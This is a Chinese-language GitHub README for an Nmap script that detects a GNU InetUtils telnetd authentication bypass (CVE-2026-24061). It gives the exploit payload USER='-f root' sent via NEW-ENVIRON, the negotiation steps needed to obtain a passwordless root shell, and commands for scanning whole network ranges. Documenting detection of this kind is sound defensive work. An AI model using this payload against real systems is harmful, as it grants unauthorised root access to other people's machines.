HD0x01/CVE-2026-24061-NSE

GitHub: HD0x01/CVE-2026-24061-NSE

用于检测GNU InetUtils telnetd认证绕过漏洞(CVE-2026-24061)的Nmap NSE脚本,通过完整Telnet协议协商注入恶意USER环境变量验证是否可无密码获取shell。

Stars: 0 | Forks: 0

# CVE-2026-24061 — GNU InetUtils telnetd 身份验证绕过 ## Nmap NSE 检测脚本 [![Nmap NSE](https://img.shields.io/badge/Nmap-NSE%20Script-4B8BBE)](https://nmap.org/nsedoc/) [![CVE](https://img.shields.io/badge/CVE-2026--24061-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) [![CVSSv3](https://img.shields.io/badge/CVSSv3-9.8%20Critical-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) [![License](https://img.shields.io/badge/License-Same%20as%20Nmap-green)](https://nmap.org/book/man-legal.html) ## 概述 此 Nmap NSE 脚本用于检测 **CVE-2026-24061**,这是一个存在于 **GNU InetUtils telnetd** 版本 **1.9.3 到 2.7** 中的身份验证绕过漏洞。 通过在 Telnet 选项协商期间发送格式为 `-f ` 的精心构造的 `USER` 环境变量,未经身份验证的攻击者可以获得具有指定本地用户(包括 `root`)权限的 shell —— **无需提供任何密码**。 ## 漏洞详情 | 字段 | 值 | |-----------------|-----------------------------------------------| | CVE ID | CVE-2026-24061 | | 受影响版本 | GNU InetUtils telnetd 1.9.3 – 2.7 | | CVSSv3 评分 | **9.8 严重** | | 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 类型 | 身份验证绕过 (CWE-287) | | 披露日期 | 2026-01-01 | ### 工作原理 GNU InetUtils `telnetd` 使用 Telnet **NEW-ENVIRON** 选项 (RFC 1572) 在协商阶段接收来自客户端的环境变量。随后会使用这些变量调用 `login(1)` 程序。 该漏洞的产生是因为 `telnetd` 在将 `USER` 变量传递给 `login` 之前未对其进行净化处理。Linux 上的 `login` 程序接受 `-f ` 标志,意为“预认证,不检查密码”。通过 NEW-ENVIRON 载荷注入 `USER="-f root"`,攻击者可以完全绕过身份验证。 ``` Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE Server response: spawns login -f root → root shell, no password required ``` ## 脚本详情 | 字段 | 值 | |-------------|----------------------------------------------------| | 文件名 | `telnet-vuln-cve-2026-24061.nse` | | 分类 | `vuln`, `exploit`, `intrusive` | | 端口 | TCP/23 (telnet) | | 测试环境 | Nmap 7.94 / 7.98, Windows & Linux | ### 检测方法 该脚本执行 **完整的 Telnet 协商**,镜像真实 `telnet -a` 客户端会话的确切字节序列(从 Wireshark 捕获中重构): 1. 接收服务器的开放 IAC 突发数据(`DO TTYPE`, `DO TSPEED`, `DO ENVIRON`, …) 2. 回复完整的客户端能力公告(`WILL TTYPE`, `WILL LINEMODE`, …) 3. 完成子协商轮次(`SB TSPEED`, `SB ENVIRON`, `SB TTYPE`) 4. 在 NEW-ENVIRON IS 载荷中注入精心构造的 `USER='-f '` 5. 完成 `WILL ECHO` / `DO BINARY` / **`WONT LINEMODE`** 序列 *(关键 —— 若无此步骤,telnetd 无法完成 PTY 设置)* 6. 检查服务器是否 **没有** 发出密码质询而直接发送登录 shell 提示符 **结果状态:** | 状态 | 含义 | |------------------|----------------------------------------------------------------| | `EXPLOIT` | 收到 shell 提示符 —— 绕过已确认 | | `LIKELY_VULN` | ENV 载荷被接受,无密码提示,但无 shell 提示符 | | `NOT_VULN` | 出现密码提示,或协商未完成 | ## 安装 ### Linux ``` # 复制到 Nmap scripts 目录 sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/ # 更新 script database sudo nmap --script-updatedb ``` ### Windows ``` # 复制到 Nmap scripts 目录(如需请调整路径) copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\" # 更新 script database(以 Administrator 身份运行) nmap --script-updatedb ``` ## 用法 ### 基本扫描(默认用户:root) ``` nmap -p 23 --script telnet-vuln-cve-2026-24061 ``` ### 指定不同用户 ``` # Short form nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali # Medium form nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali # Fully qualified nmap -p 23 --script telnet-vuln-cve-2026-24061 \ --script-args telnet-vuln-cve-2026-24061.user=kali ``` ### 扫描 IP 范围 ``` nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24 ``` ### 详细 / 调试输出 ``` nmap -p 23 --script telnet-vuln-cve-2026-24061 -v # verbose nmap -p 23 --script telnet-vuln-cve-2026-24061 -d # debug nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 # full hex trace ``` ## 示例输出 ### 易受攻击主机 ``` PORT STATE SERVICE 23/tcp open telnet | telnet-vuln-cve-2026-24061: | VULNERABLE: | GNU InetUtils telnetd Authentication Bypass | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2026-24061 | Risk factor: Critical CVSSv3: 9.8 | Description: | The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows | authentication bypass via a crafted USER environment variable. | Sending '-f ' results in an unauthenticated login shell. | Extra information: | Authentication bypassed: shell prompt received after injecting | USER='-f root' -- no password challenge was presented. | References: | https://nvd.nist.gov/vuln/detail/CVE-2026-24061 | https://github.com/JayGLXR/CVE-2026-24061-POC |_ https://github.com/SafeBreach-Labs/CVE-2026-24061 ``` ### 非易受攻击主机 ``` PORT STATE SERVICE 23/tcp open telnet ``` *(无脚本输出 —— NOT_VULN 根据设计保持静默,遵循标准 Nmap 惯例)* ## 脚本参数 | 参数 | 别名 | 默认值 | 描述 | |---------------------------------------|------------------------|---------|------------------------------| | `telnet-vuln-cve-2026-24061.user` | `telnet-user`, `user` | `root` | 通过 `-f` 注入的用户名 | ## 技术说明 ### 为什么 WONT LINEMODE 至关重要 GNU InetUtils `telnetd` 使用 Linemode 协商 (RFC 1184) 来确定终端 I/O 模式。服务器在协商早期发送 `DO LINEMODE`,客户端初始回复 `WILL LINEMODE`。在 ENV 载荷交换后,服务器发送 `WILL ECHO`,随后是 `DO BINARY`。此时客户端 **必须** 回复 `WONT LINEMODE` 以发出字符逐一模式的信号 —— 只有这样 `telnetd` 才能完成 PTY 设置(`ioctl TIOCSWINSZ`)并派生 `login`。如果没有这一步,服务器会记录 `peer died: Inappropriate ioctl for device` 并断开连接。 ### NSE Socket API Nmap 的 NSE socket API 与标准 Lua socket 约定不同: ``` -- Nmap NSE (correct): local status, data = sock:receive_bytes(1) if status == true then -- data is the received string ``` ## 参考文献 - [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) - [JayGLXR 提供的 PoC](https://github.com/JayGLXR/CVE-2026-24061-POC) - [SafeBreach-Labs 提供的 PoC](https://github.com/SafeBreach-Labs/CVE-2026-24061) - [RFC 1572 — NEW-ENVIRON](https://www.rfc-editor.org/rfc/rfc1572) - [RFC 1184 — Linemode](https://www.rfc-editor.org/rfc/rfc1184) - [Nmap NSE 文档](https://nmap.org/book/nse.html) ## 免责声明 此脚本仅用于**授权的安全测试和研究目的**。 作者不对因使用此工具而导致的任何误用或损害负责。 在测试您不拥有的系统之前,请始终获得明确的书面许可。
标签:CISA项目, CVE-2026-24061, CWE-287, GNU InetUtils, Linux 安全, NEW-ENVIRON 选项, Nmap NSE 脚本, Python3.6, rizin, Shell 获取, Telnetd, 云存储安全, 关键漏洞, 安全漏洞检测, 提权, 漏洞利用 (Exploit), 环境变量注入, 编程工具, 网络扫描, 身份验证绕过, 远程代码执行